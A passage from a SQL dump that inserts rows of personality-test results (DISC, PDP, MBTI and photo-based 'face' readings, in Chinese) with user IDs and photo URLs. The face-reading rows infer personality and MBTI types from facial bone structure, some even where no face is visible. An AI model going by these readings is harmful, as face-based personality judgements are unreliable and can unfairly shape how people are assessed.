\"稳健型\", \"careers\": [\"人力资源\", \"客户服务\", \"行政\"], \"strengths\": [\"可靠稳定\", \"团队协作\", \"耐心倾听\"], \"weaknesses\": [\"可能抗拒变化\", \"决策较慢\"], \"description\": \"稳重可靠,注重团队和谐\"}, \"percentages\": {\"C\": 0, \"D\": 0, \"I\": 5, \"S\": 95}, \"dominantType\": \"S\", \"testDuration\": 17, \"secondaryType\": \"I\"}', NULL, 31, 1, 1, 1, 1772172257, 1772164987, 1772172260, NULL, 'personal'); +INSERT INTO `mbti_test_results` VALUES (29, 1, 'disc', '{\"scores\": {\"C\": 0, \"D\": 20, \"I\": 0, \"S\": 0}, \"answers\": {\"1\": \"D\", \"2\": \"D\", \"3\": \"D\", \"4\": \"D\", \"5\": \"D\", \"6\": \"D\", \"7\": \"D\", \"8\": \"D\", \"9\": \"D\", \"10\": \"D\", \"11\": \"D\", \"12\": \"D\", \"13\": \"D\", \"14\": \"D\", \"15\": \"D\", \"16\": \"D\", \"17\": \"D\", \"18\": \"D\", \"19\": \"D\", \"20\": \"D\"}, \"completedAt\": \"2026-02-27T06:13:26.991Z\", \"description\": {\"type\": \"D型\", \"color\": \"#EF4444\", \"title\": \"支配型\", \"careers\": [\"企业高管\", \"创业者\", \"项目经理\"], \"strengths\": [\"决断力强\", \"目标导向\", \"行动迅速\"], \"weaknesses\": [\"可能过于强势\", \"缺乏耐心\"], \"description\": \"天生的领导者,注重结果和效率\"}, \"percentages\": {\"C\": 0, \"D\": 100, \"I\": 0, \"S\": 0}, \"dominantType\": \"D\", \"testDuration\": 16, \"secondaryType\": \"I\"}', NULL, 32, 1, 1, 1, 1772172825, 1772172807, 1772172828, NULL, 'personal'); +INSERT INTO `mbti_test_results` VALUES (30, 1, 'face', '{\"pdp\": {\"primary\": \"猫头鹰\", \"secondary\": \"\"}, \"disc\": {\"primary\": \"C\", \"secondary\": \"\"}, \"mbti\": {\"type\": \"INFJ\", \"title\": \"提倡者\"}, \"overview\": \"气质安静理性,内敛却有主见,善于思考与规划,适合深度研究与长期项目推进。\", \"photoUrls\": [\"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260224/img_699d6169ddb7b6.33742752.jpeg\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260224/img_699d6169ddb7b6.33742752.jpeg\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260224/img_699d6169ddb7b6.33742752.jpeg\"], \"boneAnalysis\": \"整体偏木水形,相骨清秀不臃,骨感适中偏文弱,重心在上停与中停,更重思考谋划而非强势进攻。\", \"faceAnalysis\": \"额头较宽平,眼神安定含蓄,鼻梁秀直,嘴唇柔和收敛,下颌略尖,下停偏弱显思维感性细腻。\", \"personalitySummary\": \"性格安静理性,有同理心与洞察力,重视个人边界与独立空间,做事稳妥细腻,擅长在幕后规划与支持他人。\"}', NULL, NULL, 0, 0, NULL, NULL, 1772172961, 1772172961, NULL, 'personal'); +INSERT INTO `mbti_test_results` VALUES (31, 1, 'mbti', '{\"scores\": {\"E\": 8, \"F\": 1, \"I\": 0, \"J\": 1, \"N\": 0, \"P\": 6, \"S\": 7, \"T\": 7}, \"answers\": [], \"mbtiType\": \"ESTP\", \"timestamp\": \"2026-02-27T06:16:32.131Z\", \"confidence\": 94, \"completedAt\": \"2026-02-27T06:16:32.131Z\", \"description\": {\"name\": \"企业家\", \"type\": \"ESTP\", \"careers\": [\"销售\", \"企业家\", \"运动员\"], \"category\": \"探险家\", \"strengths\": [\"果断\", \"务实\", \"善于应变\"], \"weaknesses\": [\"可能冲动\", \"缺乏耐心\"], \"description\": \"精力充沛、务实的行动者\"}, \"testDuration\": 27, \"dimensionScores\": {\"EI\": {\"E\": 8, \"I\": 0, \"dominant\": \"E\", \"percentage\": 100}, \"JP\": {\"J\": 1, \"P\": 6, \"dominant\": \"P\", \"percentage\": 86}, \"SN\": {\"N\": 0, \"S\": 7, \"dominant\": \"S\", \"percentage\": 100}, \"TF\": {\"F\": 1, \"T\": 7, \"dominant\": \"T\", \"percentage\": 88}}}', NULL, NULL, 0, 0, NULL, NULL, 1772172992, 1772172992, NULL, 'personal'); +INSERT INTO `mbti_test_results` VALUES (32, 1, 'pdp', '{\"scores\": {\"Owl\": 0, \"Koala\": 0, \"Tiger\": 20, \"Peacock\": 0, \"Chameleon\": 0}, \"answers\": {\"1\": \"Tiger\", \"2\": \"Tiger\", \"3\": \"Tiger\", \"4\": \"Tiger\", \"5\": \"Tiger\", \"6\": \"Tiger\", \"7\": \"Tiger\", \"8\": \"Tiger\", \"9\": \"Tiger\", \"10\": \"Tiger\", \"11\": \"Tiger\", \"12\": \"Tiger\", \"13\": \"Tiger\", \"14\": \"Tiger\", \"15\": \"Tiger\", \"16\": \"Tiger\", \"17\": \"Tiger\", \"18\": \"Tiger\", \"19\": \"Tiger\", \"20\": \"Tiger\"}, \"completedAt\": \"2026-02-27T06:17:08.676Z\", \"description\": {\"type\": \"老虎型\", \"color\": \"#F59E0B\", \"emoji\": \"🐅\", \"title\": \"支配者\", \"careers\": [\"企业高管\", \"创业者\", \"项目经理\"], \"teamRole\": \"适合担任领导者角色\", \"strengths\": [\"决断力强\", \"目标导向\", \"行动迅速\"], \"weaknesses\": [\"可能过于强势\", \"缺乏耐心\"], \"description\": \"天生的领导者,具有强烈的目标导向和执行力\"}, \"percentages\": {\"Owl\": 0, \"Koala\": 0, \"Tiger\": 100, \"Peacock\": 0, \"Chameleon\": 0}, \"dominantType\": \"Tiger\", \"testDuration\": 15, \"secondaryType\": \"Peacock\"}', NULL, NULL, 0, 0, NULL, NULL, 1772173028, 1772173028, NULL, 'personal'); +INSERT INTO `mbti_test_results` VALUES (33, 1, 'disc', '{\"scores\": {\"C\": 0, \"D\": 20, \"I\": 0, \"S\": 0}, \"answers\": {\"1\": \"D\", \"2\": \"D\", \"3\": \"D\", \"4\": \"D\", \"5\": \"D\", \"6\": \"D\", \"7\": \"D\", \"8\": \"D\", \"9\": \"D\", \"10\": \"D\", \"11\": \"D\", \"12\": \"D\", \"13\": \"D\", \"14\": \"D\", \"15\": \"D\", \"16\": \"D\", \"17\": \"D\", \"18\": \"D\", \"19\": \"D\", \"20\": \"D\"}, \"completedAt\": \"2026-02-27T06:17:36.507Z\", \"description\": {\"type\": \"D型\", \"color\": \"#EF4444\", \"title\": \"支配型\", \"careers\": [\"企业高管\", \"创业者\", \"项目经理\"], \"strengths\": [\"决断力强\", \"目标导向\", \"行动迅速\"], \"weaknesses\": [\"可能过于强势\", \"缺乏耐心\"], \"description\": \"天生的领导者,注重结果和效率\"}, \"percentages\": {\"C\": 0, \"D\": 100, \"I\": 0, \"S\": 0}, \"dominantType\": \"D\", \"testDuration\": 16, \"secondaryType\": \"I\"}', NULL, NULL, 0, 0, NULL, NULL, 1772173056, 1772173056, NULL, 'personal'); +INSERT INTO `mbti_test_results` VALUES (34, 1, 'face', '{\"pdp\": {\"primary\": \"猫头鹰\", \"secondary\": \"\"}, \"disc\": {\"primary\": \"C\", \"secondary\": \"\"}, \"mbti\": {\"type\": \"INFJ\", \"title\": \"提倡者\"}, \"overview\": \"气质安静理性,思维细腻周全,内敛但有自身原则与坚持,适合深度思考与专业型发展。\", \"photoUrls\": [\"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260224/img_699d6169ddb7b6.33742752.jpeg\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260224/img_699d6169ddb7b6.33742752.jpeg\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260224/img_699d6169ddb7b6.33742752.jpeg\"], \"boneAnalysis\": \"骨相偏纤细水木形,骨肉匀称不夸张,更多重心在思考与感知,属于稳健内收型,韧性佳但不喜正面强冲。\", \"faceAnalysis\": \"额头偏窄但顺滑,眼神专注温和,鼻梁清秀,唇形柔和收敛,下颌线细窄,整体给人安静理性、敏感细腻之感。\", \"personalitySummary\": \"内向深思,情感细腻但不外露,做事有规划有分寸,重视长期价值与内在原则,人际上温和有界限,擅长在幕后策划与支持。\"}', NULL, NULL, 0, 0, NULL, NULL, 1772245663, 1772245663, NULL, 'personal'); +INSERT INTO `mbti_test_results` VALUES (35, 1, 'face', '{\"pdp\": {\"primary\": \"猫头鹰\", \"secondary\": \"\"}, \"disc\": {\"primary\": \"C\", \"secondary\": \"\"}, \"mbti\": {\"type\": \"INTP\", \"title\": \"逻辑学家\"}, \"overview\": \"理性内敛、思维敏捷,重视独立空间与深度思考,适合专业研究与策略分析型道路。\", \"photoUrls\": [\"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260224/img_699d6169ddb7b6.33742752.jpeg\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260224/img_699d6169ddb7b6.33742752.jpeg\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260224/img_699d6169ddb7b6.33742752.jpeg\"], \"boneAnalysis\": \"整体骨相纤长偏木形,骨肉匀称而不厚重,重思考与策略胜于强势掌控,耐力稳定偏持久。\", \"faceAnalysis\": \"额头偏高显理性与学习力,眼神专注带思索感,鼻梁清秀重理性判断,嘴形含蓄不事张扬。\", \"personalitySummary\": \"偏理性与独立,逻辑感强,好奇心重,情绪表现克制,人际有边界,擅长在安静环境中深度研究和解决复杂问题。\"}', NULL, NULL, 0, 0, NULL, NULL, 1772245716, 1772245716, NULL, 'personal'); +INSERT INTO `mbti_test_results` VALUES (36, 1, 'face', '{\"pdp\": {\"primary\": \"猫头鹰\", \"secondary\": \"\"}, \"disc\": {\"primary\": \"C\", \"secondary\": \"\"}, \"mbti\": {\"type\": \"INTP\", \"title\": \"逻辑学家\"}, \"overview\": \"理性安静、独立思考,重视逻辑与个人空间,适合深度研究与创造性工作。\", \"photoUrls\": [\"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260224/img_699d6169ddb7b6.33742752.jpeg\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260224/img_699d6169ddb7b6.33742752.jpeg\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260224/img_699d6169ddb7b6.33742752.jpeg\"], \"boneAnalysis\": \"骨感偏细长,骨肉匀称,五官线条清晰,属于理性思辨型骨相,耐力中等但专注度高。\", \"faceAnalysis\": \"额头较饱满、眼神沉静理性,鼻梁清秀,嘴形含蓄内敛,整体给人冷静、安静而有思考感。\", \"personalitySummary\": \"思维抽象敏锐,善于分析问题与拆解结构,情绪外显度低,做人有分寸感,偏安静内敛但在熟悉领域表达坚定有主见。\"}', NULL, 36, 1, 0, 800, NULL, 1772246018, 1772258632, 5, 'enterprise'); +INSERT INTO `mbti_test_results` VALUES (37, 1, 'face', '{\"pdp\": {\"primary\": \"猫头鹰\", \"secondary\": \"\"}, \"disc\": {\"primary\": \"C\", \"secondary\": \"\"}, \"mbti\": {\"type\": \"INFJ\", \"title\": \"提倡者\"}, \"overview\": \"思维细腻理性,外冷内暖,擅长独立思考与长期规划,重视自我节奏与内在价值。\", \"photoUrls\": [\"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260224/img_699d6169ddb7b6.33742752.jpeg\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260224/img_699d6169ddb7b6.33742752.jpeg\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260224/img_699d6169ddb7b6.33742752.jpeg\"], \"boneAnalysis\": \"骨相偏木水形,骨肉匀称而不厚重,颧骨不显主控欲适中,下颌线柔中带坚,整体以稳健内敛为主。\", \"faceAnalysis\": \"额头平顺饱满,眼神内敛专注,鼻梁清秀偏直,嘴唇柔和收敛,下巴略尖显韧性,整体偏理性含蓄。\", \"personalitySummary\": \"安静理性、思路清晰,情绪稳定度高,做事有计划有节奏,重视个人空间与深度思考,待人温和但边界感明确。\"}', NULL, NULL, 1, 0, 200, NULL, 1772259279, 1772259279, 5, 'enterprise'); +INSERT INTO `mbti_test_results` VALUES (38, 1, 'face', '{\"pdp\": {\"primary\": \"猫头鹰\", \"secondary\": \"\"}, \"disc\": {\"primary\": \"C\", \"secondary\": \"\"}, \"mbti\": {\"type\": \"INTJ\", \"title\": \"战略家\"}, \"overview\": \"理性冷静,重视逻辑与效率,擅长规划与统筹,做事稳健克制,执行力扎实。\", \"photoUrls\": [\"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260228/img_69a288c320ed11.93271163.jpg\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260228/img_69a288c316fc40.15562256.jpg\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260228/img_69a288c30b4767.42934501.jpg\"], \"boneAnalysis\": \"骨相偏方正稳重,骨肉匀称,五行以土金为主,格局偏中高,重视规则秩序与长期稳定。\", \"faceAnalysis\": \"额头平阔,眼神专注,鼻梁端正,嘴形收敛,下颌较稳,整体给人理性内敛、思维清晰之感。\", \"personalitySummary\": \"性格理性谨慎,注重计划与细节,责任感强,抗压能力佳,人际有边界感,偏向独立思考与默默执行。\"}', NULL, 37, 1, 0, 200, NULL, 1772259532, 1772259535, 5, 'enterprise'); +INSERT INTO `mbti_test_results` VALUES (39, 1, 'face', '{\"pdp\": {\"primary\": \"变色龙\", \"secondary\": \"\"}, \"disc\": {\"primary\": \"C\", \"secondary\": \"\"}, \"mbti\": {\"type\": \"ISTP\", \"title\": \"鉴赏家\"}, \"overview\": \"理性内敛、行动务实,重视效率和实际效果,适合在相对独立又需专业判断的环境中发挥专长。\", \"photoUrls\": [\"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260228/img_69a28b1e9a9f06.87885663.jpg\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260228/img_69a28b1eb4a4a1.45109265.jpg\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260228/img_69a28b1eb7f794.01724681.jpg\"], \"boneAnalysis\": \"由于未呈现清晰面部与骨骼轮廓,仅能推测整体偏实务稳健型骨相,缺乏依据做更细分判断。\", \"faceAnalysis\": \"照片仅露出部分手部与发顶,面部特征信息不足,无法进行完整面相分析与对应传统条目判断。\", \"personalitySummary\": \"偏安静理性、重视事实与细节,习惯独立思考后再行动,适合技术、分析或需要冷静判断的角色。\"}', NULL, NULL, 0, 0, NULL, NULL, 1772260136, 1772260136, NULL, 'personal'); +INSERT INTO `mbti_test_results` VALUES (40, 1, 'face', '{\"pdp\": {\"primary\": \"猫头鹰\", \"secondary\": \"\"}, \"disc\": {\"primary\": \"C\", \"secondary\": \"\"}, \"mbti\": {\"type\": \"INFJ\", \"title\": \"提倡者\"}, \"overview\": \"安静理性而带理想主义色彩,兼具细腻感受力与长期规划能力,适合深度思考与稳健推进型发展道路。\", \"photoUrls\": [\"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260224/img_699d6169ddb7b6.33742752.jpeg\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260224/img_699d6169ddb7b6.33742752.jpeg\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260224/img_699d6169ddb7b6.33742752.jpeg\"], \"boneAnalysis\": \"骨相偏瘦长木形,骨感清晰而不突兀,骨肉比例匀称,耐力与持续投入度较佳,重谋划与内在驱动,外向冲劲相对收敛。\", \"faceAnalysis\": \"额头偏宽平顺,眼神内敛专注,鼻梁细直,嘴唇柔和含蓄,下巴略尖,整体给人安静理性、思考型与敏感细腻的气质。\", \"personalitySummary\": \"思维周密内敛,重视秩序与自我标准,对细节敏锐有审美与分析能力;做事前多思考规划,偏理性克制,有原则感与责任心。\"}', NULL, NULL, 1, 0, 200, NULL, 1772260992, 1772260992, 5, 'enterprise'); +INSERT INTO `mbti_test_results` VALUES (41, 1, 'face', '{\"pdp\": {\"primary\": \"猫头鹰\", \"secondary\": \"\"}, \"disc\": {\"primary\": \"C\", \"secondary\": \"\"}, \"mbti\": {\"type\": \"INFJ\", \"title\": \"提倡者\"}, \"overview\": \"思维细腻安静内敛,重视长期规划与自我成长,擅长在独立空间中深度投入与持续精进。\", \"photoUrls\": [\"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260224/img_699d6169ddb7b6.33742752.jpeg\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260224/img_699d6169ddb7b6.33742752.jpeg\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260224/img_699d6169ddb7b6.33742752.jpeg\"], \"boneAnalysis\": \"面部骨感轻盈,骨肉均匀偏薄,五行偏木水形,格局重思考与审美,抗压方式以理性分析与回避消耗为主。\", \"faceAnalysis\": \"额头略高偏窄、眼神温和内收、鼻梁秀直、嘴唇柔和含蓄、下巴偏尖清秀,整体偏理性内向型气质。\", \"personalitySummary\": \"性格安静克制,敏感但自持,重视原则与边界。做事追求完美与效率,偏向独立思考与深度学习,人际温和有礼但不主动扩圈。\"}', NULL, NULL, 1, 0, 200, NULL, 1772261454, 1772261454, 5, 'enterprise'); +INSERT INTO `mbti_test_results` VALUES (42, 1, 'face', '{\"pdp\": {\"primary\": \"猫头鹰\", \"secondary\": \"\"}, \"disc\": {\"primary\": \"C\", \"secondary\": \"\"}, \"mbti\": {\"type\": \"INFJ\", \"title\": \"提倡者\"}, \"overview\": \"安静理性而细腻,思维有规划感,重视内在价值与长远发展,适合深度型与创造型工作。\", \"photoUrls\": [\"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260224/img_699d6169ddb7b6.33742752.jpeg\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260224/img_699d6169ddb7b6.33742752.jpeg\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260224/img_699d6169ddb7b6.33742752.jpeg\"], \"boneAnalysis\": \"骨相偏木水形,骨感清晰不外露,颧骨平稳不张扬,下颌线柔中带刚,格局偏谋划与思辨型。\", \"faceAnalysis\": \"额头顺展偏高,眼神内敛专注,鼻梁细直,唇形柔和含蓄,下巴略尖带韧性,整体气质清冷理性。\", \"personalitySummary\": \"性格安静克制,思考周密,有同理心与理想主义倾向,做事追求完善与长期价值,人际上保留度高但可靠度强。\"}', NULL, NULL, 1, 0, 200, NULL, 1772262532, 1772262532, 5, 'enterprise'); +INSERT INTO `mbti_test_results` VALUES (43, 1, 'face', '{\"pdp\": {\"primary\": \"猫头鹰\", \"secondary\": \"\"}, \"disc\": {\"primary\": \"C\", \"secondary\": \"\"}, \"mbti\": {\"type\": \"INFJ\", \"title\": \"提倡者\"}, \"overview\": \"气质安静理性,思维细腻有规划,重内在标准与长期目标,适合深度研究与策略型工作。\", \"photoUrls\": [\"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260224/img_699d6169ddb7b6.33742752.jpeg\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260224/img_699d6169ddb7b6.33742752.jpeg\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260224/img_699d6169ddb7b6.33742752.jpeg\"], \"boneAnalysis\": \"骨感清晰而不突兀,属木水形偏文质型,骨肉匀称,抗压方式以理性分析和持久稳守为主。\", \"faceAnalysis\": \"额头平顺饱满,眼神内敛专注,鼻梁秀直,嘴唇柔中带韧,整体五官清秀偏理性知性气质。\", \"personalitySummary\": \"内敛理智,情感深而不外露,做事有原则与规划感,重个人空间与思考深度,处事温和但内心主见坚定。\"}', NULL, NULL, 0, 0, NULL, NULL, 1772263135, 1772263135, NULL, 'personal'); +INSERT INTO `mbti_test_results` VALUES (44, 1, 'face', '{\"pdp\": {\"primary\": \"猫头鹰\", \"secondary\": \"\"}, \"disc\": {\"primary\": \"C\", \"secondary\": \"\"}, \"mbti\": {\"type\": \"INFJ\", \"title\": \"提倡者\"}, \"overview\": \"安静理性又具同理心,重视自我节奏与精神空间,适合深度思考与创意表达型工作。\", \"photoUrls\": [\"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260224/img_699d6169ddb7b6.33742752.jpeg\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260224/img_699d6169ddb7b6.33742752.jpeg\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260224/img_699d6169ddb7b6.33742752.jpeg\"], \"boneAnalysis\": \"骨骼纤细偏木形,骨肉匀称,颧骨不突下颌略尖,格局重思考与创意,偏谋划与独立完成型路线。\", \"faceAnalysis\": \"额头偏高顺滑、眼神内敛专注,鼻梁清秀,唇形柔和含蓄,整体给人安静理性、带距离感的气质。\", \"personalitySummary\": \"性格内向克制,思路细腻有逻辑,情绪稳定但不善外露,做事有计划感与完美倾向,人际上温和有分寸,重视边界与深度连接。\"}', NULL, NULL, 1, 0, 200, NULL, 1772263164, 1772263164, 5, 'enterprise'); +INSERT INTO `mbti_test_results` VALUES (45, 1, 'face', '{\"pdp\": {\"primary\": \"猫头鹰\", \"secondary\": \"\"}, \"disc\": {\"primary\": \"C\", \"secondary\": \"\"}, \"mbti\": {\"type\": \"INFJ\", \"title\": \"提倡者\"}, \"overview\": \"思维细腻内敛,洞察力强,重视内在秩序与价值感,适合深度思考与长期规划型工作。\", \"photoUrls\": [\"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260224/img_699d6169ddb7b6.33742752.jpeg\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260224/img_699d6169ddb7b6.33742752.jpeg\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260224/img_699d6169ddb7b6.33742752.jpeg\"], \"boneAnalysis\": \"骨相偏木水形,骨肉均匀不突兀,线条修长而不失韧性,决断偏稳健,抗压以内在消化和持久推进为主。\", \"faceAnalysis\": \"额头柔和偏高、眼神安静专注、鼻梁清秀、嘴唇自然内收,下巴略尖带柔韧感,整体显理性含蓄。\", \"personalitySummary\": \"性格安静理性,重视思考与自我空间,做事有计划、有责任感,人际中温和有边界,偏向深度创造与独立完成型任务。\"}', NULL, NULL, 1, 0, 100, NULL, 1772263566, 1772263566, NULL, 'personal'); +INSERT INTO `mbti_test_results` VALUES (46, 1, 'face', '{\"pdp\": {\"primary\": \"孔雀\", \"secondary\": \"\"}, \"disc\": {\"primary\": \"I\", \"secondary\": \"\"}, \"mbti\": {\"type\": \"ENFP\", \"title\": \"竞选者\"}, \"overview\": \"外柔内活,情感细腻,善于互动与激励他人,适合创造性与变化性的环境。\", \"photoUrls\": [\"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260228/img_69a288c320ed11.93271163.jpg\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260228/img_69a288c316fc40.15562256.jpg\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260228/img_69a2990992d5c7.81109795.jpg\"], \"boneAnalysis\": \"线条圆润偏水土形,骨感不强但肉感充足,气质温和包容,稳定安全,耐受与适应力良好。\", \"faceAnalysis\": \"圆润脸型与大眼清澈,神态单纯好奇,嘴部微翘显顺,人缘佳、亲和力强。\", \"personalitySummary\": \"外向热情,善于表达与倾听,重视情感连接与深度交流,富有想象力和创造力。\"}', NULL, NULL, 0, 0, NULL, NULL, 1772263697, 1772263697, NULL, 'personal'); +INSERT INTO `mbti_test_results` VALUES (47, 1, 'face', '{\"pdp\": {\"primary\": \"孔雀\", \"secondary\": \"\"}, \"disc\": {\"primary\": \"I\", \"secondary\": \"\"}, \"mbti\": {\"type\": \"ENFP\", \"title\": \"竞选者\"}, \"overview\": \"外柔内活,情感细腻,好奇心强,擅长与人连接并营造轻松氛围,适合创造性与互动性强的领域发展。\", \"photoUrls\": [\"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260228/img_69a288c316fc40.15562256.jpg\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260228/img_69a288c320ed11.93271163.jpg\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260228/img_69a2990992d5c7.81109795.jpg\"], \"boneAnalysis\": \"线条圆润偏水土形,骨感不强而肉感充足,气质柔和包容,稳定安全,耐受力与环境适应力良好。\", \"faceAnalysis\": \"圆润脸型与大眼清澈,嘴部微翘,表情单纯好奇,整体给人温柔、亲近、无攻击感的印象。\", \"personalitySummary\": \"外向友好,内在敏感细腻,重视情感与深度交流;做事富有热情与创造力,乐于探索新事物并带动周围人。\"}', NULL, 38, 1, 1, 1, 1772263738, 1772263728, 1772263740, NULL, 'personal'); +INSERT INTO `mbti_test_results` VALUES (48, 1, 'face', '{\"pdp\": {\"primary\": \"猫头鹰\", \"secondary\": \"\"}, \"disc\": {\"primary\": \"C\", \"secondary\": \"\"}, \"mbti\": {\"type\": \"INTJ\", \"title\": \"战略家\"}, \"overview\": \"抽象思维突出,重视逻辑与系统性,擅长在不完整信息中构建结构化判断与远期规划。\", \"photoUrls\": [\"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260228/img_69a2be9aca18e7.48721788.jpg\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260228/img_69a2be9ab4a1f8.33085619.jpg\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260228/img_69a2be9ac90d83.92949209.jpg\"], \"boneAnalysis\": \"由于无清晰头面部骨骼轮廓可见,只能假设其偏理性稳健型骨相,重视结构与秩序。\", \"faceAnalysis\": \"当前图片未呈现清晰人脸,仅见强光与天花板结构,无法进行具体面相部位分析。\", \"personalitySummary\": \"倾向独立思考与理性决策,偏内向克制,重视规则和系统,追求长期价值与持续优化。\"}', NULL, 40, 1, 1, 1, 1772273330, 1772273315, 1772273332, NULL, 'personal'); +INSERT INTO `mbti_test_results` VALUES (49, 6, 'face', '{\"pdp\": {\"primary\": \"猫头鹰\", \"secondary\": \"\"}, \"disc\": {\"primary\": \"C\", \"secondary\": \"\"}, \"mbti\": {\"type\": \"INTJ\", \"title\": \"战略家\"}, \"overview\": \"理性冷静、重视结构与规划,做事有节奏感和持久度,适合承担复杂决策与长期项目推进。\", \"photoUrls\": [\"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260302/img_69a506f91a3b45.19754294.jpg\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260302/img_69a506f91de049.43887143.jpg\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260302/img_69a506f91a7166.23669621.jpg\"], \"boneAnalysis\": \"面部骨相信息严重不足,仅见额区与侧面轮廓一角,暂以骨感偏分明、整体偏理性稳健气质作抽象模拟。\", \"faceAnalysis\": \"从现有画面仅能见少量发际与轮廓,无法完整依据传统面相做部位细分判断,只可保守推定为偏理性内敛气质。\", \"personalitySummary\": \"模拟类型偏内向思考者,重逻辑与系统性,行事谨慎务实,专注长期目标与专业深耕,在独立思考和策略规划中更能发挥优势。\"}', NULL, NULL, 1, 0, 1, NULL, 1772422915, 1772422915, NULL, 'personal'); +INSERT INTO `mbti_test_results` VALUES (50, 6, 'mbti', '{\"scores\": {\"E\": 9, \"F\": 0, \"I\": 0, \"J\": 7, \"N\": 0, \"P\": 0, \"S\": 7, \"T\": 7}, \"answers\": [], \"mbtiType\": \"ESTJ\", \"timestamp\": \"2026-03-02T03:42:57.180Z\", \"confidence\": 100, \"completedAt\": \"2026-03-02T03:42:57.180Z\", \"description\": {\"name\": \"总经理\", \"type\": \"ESTJ\", \"careers\": [\"管理者\", \"项目经理\", \"律师\"], \"category\": \"守护者\", \"strengths\": [\"领导力\", \"组织能力\", \"务实\"], \"weaknesses\": [\"可能专制\", \"不够灵活\"], \"description\": \"务实、果断的组织者\"}, \"testDuration\": 37, \"dimensionScores\": {\"EI\": {\"E\": 9, \"I\": 0, \"dominant\": \"E\", \"percentage\": 100}, \"JP\": {\"J\": 7, \"P\": 0, \"dominant\": \"J\", \"percentage\": 100}, \"SN\": {\"N\": 0, \"S\": 7, \"dominant\": \"S\", \"percentage\": 100}, \"TF\": {\"F\": 0, \"T\": 7, \"dominant\": \"T\", \"percentage\": 100}}}', NULL, NULL, 0, 0, NULL, NULL, 1772422977, 1772422977, NULL, 'personal'); +INSERT INTO `mbti_test_results` VALUES (51, 7, 'face', '{\"pdp\": {\"primary\": \"老虎\", \"secondary\": \"\"}, \"disc\": {\"primary\": \"D\", \"secondary\": \"\"}, \"mbti\": {\"type\": \"INTJ\", \"title\": \"战略家\"}, \"overview\": \"理性稳健、目标导向清晰,擅长规划与执行,在结构化环境中表现突出,具长远发展潜力。\", \"photoUrls\": [\"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260302/img_69a51b2d7ce365.67901942.jpg\"], \"boneAnalysis\": \"骨相端正,颧鼻协调不突兀,颌骨结实承载力强,上停与中停均衡,属稳健开拓型格局,适合担纲核心责任。\", \"faceAnalysis\": \"额头平阔饱满,眉眼清晰专注,鼻梁端正略挺,嘴型收敛有度,下巴方正有力,整体显沉稳理性与执行力。\", \"personalitySummary\": \"思维缜密,有规划意识与责任感,行动节奏稳中有进,对目标坚持度高,处事理性克制,人际中略带距离感但可信赖。\"}', NULL, NULL, 1, 0, 1, NULL, 1772428086, 1772428086, NULL, 'personal'); +INSERT INTO `mbti_test_results` VALUES (52, 1, 'face', '{\"pdp\": {\"primary\": \"猫头鹰\", \"secondary\": \"\"}, \"disc\": {\"primary\": \"C\", \"secondary\": 